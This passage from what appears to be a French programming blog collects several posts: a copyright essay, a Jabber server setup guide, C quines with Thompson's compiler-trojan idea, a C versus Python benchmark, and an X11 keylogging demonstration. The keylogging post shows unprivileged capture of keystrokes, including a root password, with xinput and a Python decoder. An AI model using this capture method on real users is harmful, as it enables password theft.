Posons comme principe que le partage d’œuvres sur Internet sans but de profit ne doit en aucune manière être restreint. Quelles justifications peuvent amener à le rejeter ?

Il n’y en a qu’une, elle est économique : permettre aux auteurs d’être rémunérés. Effectivement, une offre illimitée, accessible à tous (grâce au partage), et un coût marginal nul impliquent un prix nul. Il faudrait alors restaurer une certaine rareté afin de pouvoir vendre.

Mais par ailleurs, l’objectif de l’économie, c’est de surmonter au mieux la rareté. C’est là que la justification économique devient absurde : il s’agirait de restaurer une certaine rareté dans le but de résoudre un problème économique, alors que le but de l’économie est de résoudre les problèmes que pose la rareté. Ce serait lutter contre l’objectif afin de conserver ce contre quoi on lutte.

En clair, l’économie ne peut pas être une justification en soi, en dernier ressort, car elle ne s’applique qu’à la rareté. Tout ce qui est surabondant, non-rival, devrait être hors-marché. Sinon, il faudrait interdire le soleil.

Bien sûr, je ne dis pas qu’il faut supprimer l’économie ; je dis juste qu’elle ne s’applique qu’aux domaines de rareté. Dans le cas limite où tout serait surabondant, n’appliquer l’économie qu’aux domaines de la rareté conduirait effectivement à la suppression totale de l’économie. Dans ce monde imaginaire, ce serait très logique : si chacun pouvait tout avoir sans effort, pourquoi restreindre l’accès aux biens en le conditionnant à une « rémunération » qui n’aurait alors aucun sens ? Tout le monde y serait perdant.

Toute la difficulté est de vivre dans un monde composé à la fois de rareté et d’abondance. Et beaucoup tentent de restaurer la rareté partout uniquement pour faire fonctionner l’économie. Quel paradoxe !

Solutions

Ce billet a pour unique but de rejeter l’argument économique contre le partage sans but de profit, pas de conclure sur une solution définitive.

Selon moi, les solutions à envisager, quelles qu’elles soient, doivent respecter le principe que nous avons posé.

C’est le cas de la contribution créative (ou licence globale). Mais cette proposition amène quelques critiques (ici et là par exemple).

Pour ma part, vous le savez, je suis convaincu que le financement de la création est un cas particulier d’un problème plus général, dont (au moins une partie de) la solution est le dividende universel.

Billets en relation

• Piratage ou usage commun ?
• L’abondance contre l’économie.

J’ai enfin décidé d’héberger mon propre serveur Jabber, pour plusieurs raisons :

• la liste de mes contacts est mieux sur mon serveur que sur un autre ;
• le serveur que j’utilisais (jabber.fr) rencontre parfois quelques difficultés ;
• mon adresse Jabber sera ainsi la même que mon adresse mail (rom suivi de @rom1v.com).

Et c’est simple !

Installation et configuration

Tout d’abord, installer le paquet prosody :

apt-get install prosody

Puis ajouter à la fin du fichier /etc/prosody/prosody.cfg.lua :

Host "nom.de.domaine"

Pour moi :

Host "rom1v.com"

Créer un utilisateur en ligne de commandes et choisir un mot de passe :

prosodyctl adduser user@nom.de.domaine

Certificat

Un certificat TLS/SSL est créé par défaut, mais les champs sont renseignés avec des valeurs non pertinentes (localhost au lieu de nom.de.domaine par exemple). Il est donc préférable d’en générer un nouveau.

Dans le répertoire /etc/prosody/certs, exécuter :

openssl req -new -x509 -nodes -out nom.de.domaine.cert -keyout nom.de.domaine.key

Renseigner les champs demandés (« . » pour laisser un champ vide).

Remplacer le certificat dans le fichier de configuration :

ssl = {
        key = "/etc/prosody/certs/nom.de.domaine.key";
        certificate = "/etc/prosody/certs/nom.de.domaine.cert";
}

Empreinte

Comme c’est un certificat auto-signé, les clients Jabber ne lui feront pas confiance : ils demanderont une confirmation, en présentant son empreinte. Il faudra alors vérifier que le certificat présenté est bien le bon, c’est-à-dire que l’empreinte est la même.

Pour la connaître :

openssl x509 -fingerprint -noout -in nom.de.domaine.cert

Par exemple :

$ openssl x509 -fingerprint -noout -in rom1v.com.cert
SHA1 Fingerprint=C3:6D:9B:65:06:55:C4:84:B4:A5:8D:4B:12:68:2F:08:71:7E:AC:DD

Ports

Les ports TCP 5222 et 5269 doivent être ouverts.

Démarrer

Il ne reste plus qu’à démarrer le service.

service prosody start

Clients

Il est maintenant possible de se connecter en utilisant le nom d’utilisateur et le mot de passe créés :

Backup

Les données du serveur sont stockées dans /var/lib/prosody. Il est donc important de ne pas oublier ce répertoire dans le processus de sauvegarde.

Merci à Cyrille Borne et nicolargo.

Vous êtes-vous déjà demandé comment écrire un programme qui génère son propre code source ? Si vous n’avez jamais essayé, je vous conseille de prendre un peu de temps pour y réfléchir avant de lire la suite. Ce n’est pas évident, car chaque caractère ajouté dans le code source doit également apparaître sur la sortie…

Un tel programme s’appelle un quine. Et il est prouvé qu’avec tout langage de programmation il existe un quine (une infinité ?). Cette page détaille un peu plus la théorie.

Des exemples sont déjà écrits pour plein de langages.

Quine simple

Voici un programme auto-reproducteur simple en C :

#include<stdio.h>
main(){char*s="#include<stdio.h>%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}

Nous pouvons tester, ce programme se génère bien lui-même :

$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){char*s="#include<stdio.h>%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}
$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){char*s="#include<stdio.h>%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}
$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){char*s="#include<stdio.h>%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}

(essayez de l’écrire ou de le réécrire tout seul pour bien comprendre comment ça fonctionne)

L’essentiel de l’astuce ici est de passer la chaîne « s » à la fois en tant que format et d’argument de printf.

Ce n’est pas sans poser de problèmes : dans la déclaration de la chaîne s, nous ne pouvons pas écrire « " » (évidemment), ni « \" », car alors il faudrait que le programme génère le « \" », donc le « " », ce que précisément nous cherchons à faire. L’astuce est donc d’utiliser son code ASCII (34), inséré grâce aux « %c ». Le code 10, quant à lui, correspond au saut de ligne.

Quine alternatif

Nous pouvons imaginer deux programmes qui se génèrent l’un-l’autre : un programme A génère un code source B, tel que le programme B génère le code source A.

À partir de l’exemple précédent, c’est trivial, il suffit de rajouter une variable (que j’ai appelée « f » comme « flag ») dont on alterne la valeur :

#include<stdio.h>
main(){int f=0;char*s="#include<stdio.h>%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}

La valeur de f alterne entre 0 et 1 :

$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){int f=1;char*s="#include<stdio.h>%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}
$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){int f=0;char*s="#include<stdio.h>%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}
$ gcc quine.c && ./a.out | tee quine.c
#include<stdio.h>
main(){int f=1;char*s="#include<stdio.h>%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}

Quasi-quine

Il est également possible d’écrire un programme qui en génère un autre, qui lui-même en génère un autre… sans jamais « boucler ».
Je me suis amusé à en écrire deux exemples.

Fibonacci

Le premier calcule la suite de Fibonacci. Ou plutôt, il contient les deux premiers éléments de la suite (F(0)=0 et F(1)=1), génère un programme qui contiendra F(1) et F(2), qui lui-même générera un programme qui contiendra F(2) et F(3), etc. :

#include<stdio.h>
main(){int a=0,b=1;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}

Pour obtenir F(10) et F(11) (suivre les valeurs des variables a et b) :

$ for i in {1..10}; do gcc quine.c && ./a.out | tee quine.c; done
#include<stdio.h>
main(){int a=1,b=1;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=1,b=2;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=2,b=3;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=3,b=5;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=5,b=8;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=8,b=13;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=13,b=21;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=21,b=34;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=34,b=55;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include<stdio.h>
main(){int a=55,b=89;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}

Ce que je trouve fabuleux, c’est que chaque programme, qui connaît deux valeurs de la suite, sait non seulement générer un nouveau programme qui calculera la valeur suivante (ça, c’est facile), mais en plus, ce nouveau programme saura lui-même générer un autre programme qui calculera la prochaine, etc. Chaque programme transmet en quelque sorte son code génétique à sa descendance.

PGCD

Suivant le même principe, il est possible de calculer le PGCD de deux nombres. Nous pouvons générer une lignée de programmes qui calculeront chacun une étape de l’algorithme d’Euclide.

Cet exemple permet de calculer PGCD(64,36) :

#include<stdio.h>
main(){int a=64,b=36;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}

Le caractère « % » ayant une signification dans le formatage de printf, nous devons le doubler.
Nous aurions pu utiliser à la place a-a/b*b (ce qui revient à peu près au même, si a et b sont positifs avec a>b).

Voici le résultat (suivre les valeurs des variables a et b) :

$ for i in {1..5}; do gcc quine.c && ./a.out | tee quine.c; done
#include<stdio.h>
main(){int a=36,b=28;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include<stdio.h>
main(){int a=28,b=8;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include<stdio.h>
main(){int a=8,b=4;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include<stdio.h>
main(){int a=4,b=0;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include<stdio.h>
main(){int a=4,b=0;char*s="#include<stdio.h>%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}

Une fois la solution trouvée (lorsque b vaut 0), le programme se comporte comme un vrai quine (il se regénère à l’identique).

Compilateur magique

Passons maintenant à l’étape suivante. Jusqu’à maintenant, nous avons généré un programme qui génère un autre programme… Très bien.
Mais ces programmes générés (en fait, leur code source), nous les compilons avec un compilateur (gcc).

Mais un compilateur, c’est un programme, qui en plus est écrit dans le langage qu’il doit compiler. En particulier, le compilateur C est écrit en C.

À partir là, il est possible de faire des choses très intéressantes, comme l’a expliqué en 1984 Ken Thompson dans son célèbre article « Reflections on Trusting Trust » (que je vais paraphraser).

Le code suivant est une idéalisation du code du compilateur C qui interprète le caractère d’échappement :

c = next();
if (c != '\\')
    return c;
c = next();
if (c == '\\')
    return '\\';
if (c == 'n')
    return '\n';

C’est « magique » : le programme sait, de manière totalement portable, quel caractère est compilé pour un saut de ligne pour n’importe quel jeu de caractères. Le fait qu’il le sache lui permet de se recompiler lui-même, en perpétuant ainsi cette connaissance.

Supposons que nous voulions rajouter le caractère spécial « \v » pour écrire une « tabulation verticale » :

c = next();
if (c != '\\')
    return c;
c = next();
if (c == '\\')
    return '\\';
if (c == 'n')
    return '\n';
if (c == 'v')
    return '\v';

Évidemment, ce code ne compile pas, car le compilateur ne connaît pas « \v ». Mais il suffit de lui apprendre : le code ASCII de la tabulation verticale est 11. Nous pouvons donc modifier temporairement le compilateur, pour en générer une nouvelle version :

c = next();
if (c != '\\')
    return c;
c = next();
if (c == '\\')
    return '\\';
if (c == 'n')
    return '\n';
if (c == 'v')
    return 11;

La nouvelle version du compilateur accepte maintenant « \v », et peut donc compiler son propre code source contenant ce caractère. Le code source contenant le « 11 » peut donc être totalement supprimé et oublié.

C’est un concept profond. Il suffit de lui dire une fois, l’auto-référencement fait le reste.

Cheval de Troie (quasi-)indétectable

Considérons alors la fonction compile(s) permettant de compiler une ligne de code source. Une simple modification va délibérément mal compiler la source lorsqu’un motif est détecté :

void compile(char * s) {
    if (match(s, "pattern")) {
        compile("bug");
        return;
    }
    …
}

Supposons que le motif permette d’identifier la commande login, et que le bug (cheval de Troie) compilé permette d’accepter, en plus du mot de passe correct, un mot de passe prédéfini quelconque : nous pourrions, en connaissant ce « faux » mot de passe, nous connecter sur n’importe quelle machine possédant le programme login compilé avec ce compilateur.

Mais évidemment, un tel bout de code dans le compilateur C ne passerait pas inaperçu et serait détecté très rapidement… Sauf avec l’ultime étape :

void compile(char * s) {
    if (match(s, "pattern1")) {
        compile("bug1");
        return;
    }
    if (match(s, "pattern2")) {
        compile("bug2");
        return;
    }
    …
}

Ici, nous ajoutons un second cheval de Troie. Le premier motif correspond toujours à la commande login, tandis que le second motif correspond au compilateur C. Le second bug est un programme auto-reproducteur (tel que ceux que nous avons vus dans ce billet) qui insère les deux chevaux de Troie. Il nécessite une phase d’apprentissage comme dans l’exemple avec « \v ». Nous compilons d’abord la source ainsi modifiée avec le compilateur C normal pour générer un binaire corrompu, que nous utilisons désormais comme compilateur C. Maintenant, nous pouvons supprimer les bugs de la source, le nouveau compilateur va les réinsérer à chaque fois qu’il sera compilé.

Ainsi, en compilant un code source « propre » avec un compilateur dont le code source est « propre » et que nous avons compilé nous-mêmes, nous générons un binaire contenant un cheval de Troie !

Mais aussi incroyable (et inquiétant) que cela puisse paraître, il est possible de faire exactement la même chose… sans être root.

Démonstration

Et en plus, c’est tout simple : il suffit pour un programme d’écouter les événements clavier envoyés par le serveur X.
Prenons un outil qui le fait déjà (ça nous évitera de le coder), xinput :

apt-get install xinput

Pour obtenir la liste des périphériques utilisables :

xinput list

Repérer la ligne concernant le clavier (contenant « AT ») et noter son id (ici 11).

$ xinput list | grep AT
    ↳ AT Translated Set 2 keyboard            	id=11	[slave  keyboard (3)]

Puis démarrer l’écoute sur ce périphérique dans un terminal :

xinput test 11

Au fur et à mesure que l’on tape du texte, la sortie standard de xinput indique quelles touches sont tapées :

key press   56
key release 56
key press   32
key release 32
key press   57
key release 57
key press   44
key release 44
key press   32
key press   30
key release 32
key release 30
key press   27
key release 27

Cela fonctionne même lorsqu’on écrit dans une autre application, quelque soit l’utilisateur qui l’a démarrée. En particulier, si dans un autre terminal on exécute la commande suivante, le mot de passe est bien capturé :

$ su -
Mot de passe : 

Un programme avec de simples droits utilisateur peut donc écouter tout ce qui est tapé au clavier (et donc l’enregistrer, l’envoyer à un serveur…).

Décodage

Convertisseur

La sortie de xinput n’est pas très utilisable en pratique. Pour la décoder, un programme d’une vingtaine de lignes en Python suffit (fortement inspiré de ce PoC). Appelons-le xinput-decoder.py :

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import re, sys
from subprocess import *

def get_keymap():
    keymap = {}
    table = Popen(['xmodmap', '-pke'], stdout=PIPE).stdout
    for line in table:
        m = re.match('keycode +(\d+) = (.+)', line.decode())
        if m and m.groups()[1]:
            keymap[m.groups()[0]] = m.groups()[1].split()[0]
    return keymap

if __name__ == '__main__':
    keymap = get_keymap();
    for line in sys.stdin:
        m = re.match('key press +(\d+)', line.decode())
        if m:
            keycode = m.groups()[0]
            if keycode in keymap:
                print keymap[keycode],
            else:
                print '?' + keycode,

Pour convertir le résultat à la volée :

xinput test 11 | ./xinput-decoder.py

Problème de redirection

Le problème, c’est que lorsqu’on redirige la sortie de xinput dans un fichier ou en entrée d’un autre programme, le contenu ne s’affiche que par salves (d’environ 128 caractères apparemment). Sans doute une histoire de buffer, à mon avis activé uniquement lorsque la fonction isatty() retourne true.

Pour contourner le problème et récupérer les dernières touches tapées, il est possible de démarrer la commande dans un screen :

screen xinput test 11

puis, à la fin de la capture, d’enregistrer le contenu dans un fichier. Pour cela, dans le screen ainsi ouvert, taper Ctrl+A, :, puis hardcopy -h /tmp/log.
De cette manière, /tmp/log contiendra toute la capture.

Pour convertir le résultat :

$ ./xinput-parser.py < /tmp/log
s u space minus Return mon mot de passe root Return a p t minus g e t space u p d a t e Return Control_L a colon

Améliorations

Une solution plus pratique serait peut-être de démarrer xinput par le programme Python, en lui faisant croire qu’il écrit dans un TTY (ce que je ne sais pas faire). Quelqu’un l’a fait en Perl.
Il faudrait également prendre en compte le relâchement des touches dans le décodeur, car lorsqu’il affiche « Shift_L a b », nous n’avons aucun moyen de savoir si la touche Shift a été relâchée avant le a, entre le a et le b, ou après le b.

Liens

Merci à Papillon-butineur de m’avoir fait découvrir ce fonctionnement étonnant du serveur X.
Je vous recommande le billet suivant (en anglais) ainsi que ses commentaires : The Linux Security Circus: On GUI isolation.

Un commentaire, en apparence anodin, m’a mis dans la tête une question que je ne pouvais pas laisser sans réponse : combien de fois plus rapidement s’exécuterait le même algorithme implémenté en C que celui en Python (interprêté) ? 2× ? 10× ? 50× ?

Pour y répondre, il fallait donc implémenter le même algorithme en C. En plus, c’était l’occasion de rendre hommage à Dennis Ritchie. Après avoir découvert Python, j’ai donc (ré)appris le C (et ça fait drôle de rejouer avec les pointeurs après plusieurs années !).

Implémentation

Je ne vais pas m’attarder sur l’algorithme, c’est exactement le même principe que sur mon billet précédent, et j’ai essayé de garder les mêmes noms de fonctions.

La structure du cube et ses dimensions (à modifier selon votre cube-serpent) sont définies par macro (les fameux #define). Par rapport au programme Python, il faut en plus préciser la taille des tableaux.

La seule partie que j’ai réimplémentée complètement différemment est la fonction get_useful_points de la version Python (souvenez-vous, avec des yields dans une fonction récursive). La fonction équivalente dans la version C s’appelle symmetry_helper_inc_cursor(int cursor[]) : au lieu de retourner au fur et à mesure chacun des points à traiter, elle donne le point « suivant » de celui passé en paramètre.

De même, les solutions trouvées sont données dans un callback (la fonction solution), toujours dans l’objectif de supprimer simplement les yields.

J’ai tout mis dans un seul fichier csnakesolver.c (par simplicité, même si dans les règles de l’art, plusieurs fichiers .c avec leurs .h auraient été préférables).

Performances

Passons maintenant à ce qui nous intéresse : les performances.

Exemples de référence

Je fais mes tests sur 3 exemples : un rapide, un moyen et un long.

Le rapide est un 3×3×3, les deux autres sont des 4×4×4. Voici leurs structures respectives :

// (R)apide
{2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2}
// (M)oyen
{2, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 1, 1, 1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 1}
// (L)ong
{1, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1 ,1, 2, 2, 1, 1, 1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3}

Protocole

Je vais comparer, grâce à la commande time, le temps nécessaire pour trouver une solution :

time ./csnakesolver

Le programme doit s’arrêter après avoir trouvé la première. Les programmes Python et C trouveront forcément les mêmes et dans le même ordre, vu qu’ils implémentent le même algorithme.

Compilation

Il est intéressant de tester les performances en compilant sans optimisations :

gcc csnakesolver.c -o csnakesolver

et avec :

gcc -O3 csnakesolver.c -o csnakesolver

Résultats

Le gain est loin d’être négligeable, un gain de ×276 dans un cas et ×372 dans l’autre ! Honnêtement, je ne m’y attendais pas. Tout au plus, j’espérais ×40~×50, sans trop y croire.

Origines des gains de performances

Deux différences expliquent ces gains :

• Python est interprété, alors que C est compilé ;
• En tant que langage de haut-niveau, Python subit le coût de l’abstraction.

Il serait intéressant de savoir dans quelle mesure les gains proviennent de la compilation et dans quelle mesure ils proviennent de l’abstraction (nous savons déjà que le facteur de gain entre les programmes compilés avec et sans -O3 provient uniquement de la compilation).

Une approche intéressante pour répondre à cette question serait de compiler le programme Python en code natif (je n’ai encore jamais fait).

Débogueur

Travailler sur un mini-projet personnel permet toujours d’apprendre des choses. En dehors du langage lui-même, j’ai découvert le débogueur gdb.

N’ayant toujours utilisé des débogueurs qu’en mode graphique (pour d’autres langages), je m’attendais à ce qu’il soit un peu long à prendre en main. Mais en fait, pas du tout, j’ai été agréablement surpris par sa simplicité d’utilisation.

Avec certains langages, on peut se passer de débogueur pour de petits programmes. C ne fait pas partie de ceux-là, par exemple dans ce cas précis :

$ ./csnakesolver
Erreur de segmentation

Il faut d’abord compiler le programme avec l’option de debug :

gcc -g csnakesolver.c -o csnakesolver

Puis lancer le programme avec le débogueur :

gdb csnakesolver

Un prompt permet d’entrer des commandes :

(gdb) 

Pour placer un point d’arrêt à la ligne 215 :

(gdb) break 215

Pour démarrer le programme :

(gdb) run

Le programme s’arrête sur le point d’arrêt :

Breakpoint 1, volume_helper_can_move (vector=...) at csnakesolver.c:215
215	    int cursor_position_value = volume_helper.cursor[vector.position];

Pour afficher le bout de code source concerné :

(gdb) l
210	void volume_helper_set_flag(int cursor[], bool value) {
211	    * volume_helper_get_flag_pointer(cursor) = value;
212	}
213
214	bool volume_helper_can_move(vector_s vector) {
215	    int cursor_position_value = volume_helper.cursor[vector.position];
216	    int new_value = cursor_position_value + vector.value;
217	    int future_cursor[DIMENSIONS_COUNT];
218	    int sign, i, abs_value;
219	    if (new_value < 0 || new_value >= dimensions[vector.position]) {

Il est possible de consulter les valeurs des variables grâce à p (print) :

(gdb) p vector.position
$1 = 0
(gdb) p vector
$2 = {position = 0, value = 1}

Pour afficher des tableaux, il faut indiquer le pointeur et la longueur du tableau à afficher (ici 3) :

(gdb) p * volume_helper.cursor @ 3
$3 = {0, 0, 0}

Pour obtenir la pile d’exécution :

(gdb) bt
#0  volume_helper_can_move (vector=...) at csnakesolver.c:215
#1  0x0000000000401294 in solve_rec (init_cursor=0x7fffffffe210, step=0)
    at csnakesolver.c:438
#2  0x0000000000401191 in solve () at csnakesolver.c:407
#3  0x00000000004013de in main () at csnakesolver.c:475

Pour avancer dans le programme, 3 commandes sont indispensables :

• c (continue) pour dérouler le programme jusqu’au prochain point d’arrêt ;
• n (next) pour exécuter la ligne suivante complètement ;
• s (step) pour rentrer dans la fonction sur la ligne suivante et l’exécuter ligne à ligne.

Ces commandes essentielles permettent déjà de se sortir de beaucoup de situations.

Conclusion

Un programme écrit en C est plus rapide qu’un programme écrit en Python (ah bon ?), dans une proportion plus importante que je ne l’imaginais. Ce n’est qu’un test sur un exemple particulier, mais il donne déjà une petite idée.

La morale de l’histoire est qu’il faut bien choisir son langage suivant le programme à réaliser. Et pour du calcul brut, évidemment un langage bas niveau est préférable (même si le développement est plus laborieux). Dans la majorité des cas cependant, où les performances brutes ne sont pas cruciales, Python sera préféré à C.

Code source

Le programme est disponible au même endroit que la version Python : csnakesolver-0.1.c.

Par contre, désolé, cette version est beaucoup moins commentée que la version Python.

/*
 * csnakesolver v0.1, 19th october 2011
 *
 * changelog:
 *   0.1
 *     - initial version
 *
 * Solver for generalized snake-cube:
 * http://en.wikipedia.org/wiki/Snake_cube
 * http://fr.wikipedia.org/wiki/Cube_serpent
 *
 * By Romain Vimont (®om)
 *   rom@rom1v.com
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>

#define EXEMPLE_L // change with EXEMPLE_M or EXEMPLE_L

#ifdef EXEMPLE_R
#define SNAKE_STRUCTURE {2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2}
#define STRUCTURE_VECTOR_COUNT 17
#define VOLUME_DIMENSIONS {3, 3, 3}
#define DIMENSIONS_COUNT 3
#endif

#ifdef EXEMPLE_M
#define SNAKE_STRUCTURE {2, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 1, 1, 1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 1}
#define STRUCTURE_VECTOR_COUNT 46
#define VOLUME_DIMENSIONS {4, 4, 4}
#define DIMENSIONS_COUNT 3
#endif

#ifdef EXEMPLE_L
#define SNAKE_STRUCTURE {1, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1 ,1, 2, 2, 1, 1, 1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3}
#define STRUCTURE_VECTOR_COUNT 47
#define VOLUME_DIMENSIONS {4, 4, 4}
#define DIMENSIONS_COUNT 3
#endif

#define VARIABLES {'x', 'y', 'z', 't'}
#define VARIABLES_COUNT 4

int structure[] = SNAKE_STRUCTURE;
int dimensions[] = VOLUME_DIMENSIONS;
int variables[] = VARIABLES;

int structure_length; // sum of SNAKE_STRUCTURE
int volume_size; // product of dimensions

typedef struct vector {
    int position;
    int value;
} vector_s;

typedef struct volume_helper {
    bool * flags; // length = product of all VOLUME_DIMENSIONS items
    vector_s path[STRUCTURE_VECTOR_COUNT];
    int path_length;
    int init_cursor[DIMENSIONS_COUNT];
    int cursor[DIMENSIONS_COUNT];
} volume_helper_s;

typedef struct symmetry_helper {
    int eq_classes_path[DIMENSIONS_COUNT * STRUCTURE_VECTOR_COUNT + 2];
    int * eq_classes;
} symmetry_helper_s;

vector_s new_vector(char position, char value);
void symmetry_helper_init(symmetry_helper_s * symmetry_helper);
void volume_helper_init(volume_helper_s * volume_helper);
void init();

char * vector_to_string(vector_s vector);
char * get_variable(char position);
char * get_canonical_number(char number);

char * cursor_to_string(int cursor[]);

void volume_helper_set_cursor(int cursor[]);
bool * volume_helper_get_flag_pointer(int cursor[]);
bool volume_helper_get_flag(int cursor[]);
void volume_helper_set_flag(int cursor[], bool value);
bool volume_helper_can_move(vector_s vector);
void volume_helper_move(vector_s vector);
void volume_helper_back();
void volume_helper_append_vector_in_path(vector_s vector) ;
vector_s volume_helper_pop_vector_in_path();

void symmetry_helper_init_eq_classes_from_dimensions();
bool symmetry_helper_inc_cursor(int cursor[]);
bool symmetry_helper_inc_cursor_rec(int cursor[], int index);
void symmetry_helper_set_cursor(int cursor[]);
void symmetry_helper_move(vector_s vector);
void symmetry_helper_back();
bool symmetry_helper_must_explore(int i);
bool eq_cmp(int p1, int p2, int dim);

bool solve();
bool solve_rec(int init_cursor[], int step);
bool solution(int * init_cursor, vector_s * path);

vector_s new_vector(char position, char value) {
    vector_s vector;
    vector.position = position;
    vector.value = value;
    return vector;
};

symmetry_helper_s symmetry_helper;
volume_helper_s volume_helper;

void symmetry_helper_init(symmetry_helper_s * symmetry_helper) {
    symmetry_helper->eq_classes = symmetry_helper->eq_classes_path;
}

void volume_helper_init(volume_helper_s * volume_helper) {
    volume_helper->flags = (bool *) malloc(volume_size * sizeof(bool));
    volume_helper->path_length = 0;
}

void init() {
    int i;
    volume_size = 1;
    for (i = 0; i < DIMENSIONS_COUNT; i++) {
        volume_size *= dimensions[i];
    }
    structure_length = 0;
    for (i = 0; i < STRUCTURE_VECTOR_COUNT; i++) {
        structure_length += structure[i];
    }
    symmetry_helper_init(&symmetry_helper);
    volume_helper_init(&volume_helper);
}

char * vector_to_string(vector_s vector) {
    char * string = (char *) malloc(5 * sizeof(char));
    char * variable = get_variable(vector.position);
    char * canonical_number = get_canonical_number(vector.value);
    sprintf(string, "%s%s", canonical_number, variable);
    free(variable);
    free(canonical_number);
    return string;
}

char * get_variable(char position) {
    char * variable = (char *) malloc(3 * sizeof(char));
    if (position < VARIABLES_COUNT) {
        sprintf(variable, "%c", variables[position]);
    } else {
        sprintf(variable, "k%i", position - VARIABLES_COUNT);
    }
    return variable;
}

char * get_canonical_number(char number) {
    char * canonical_number = (char *) malloc(3 * sizeof(char));
    if (number == (char) 1) {
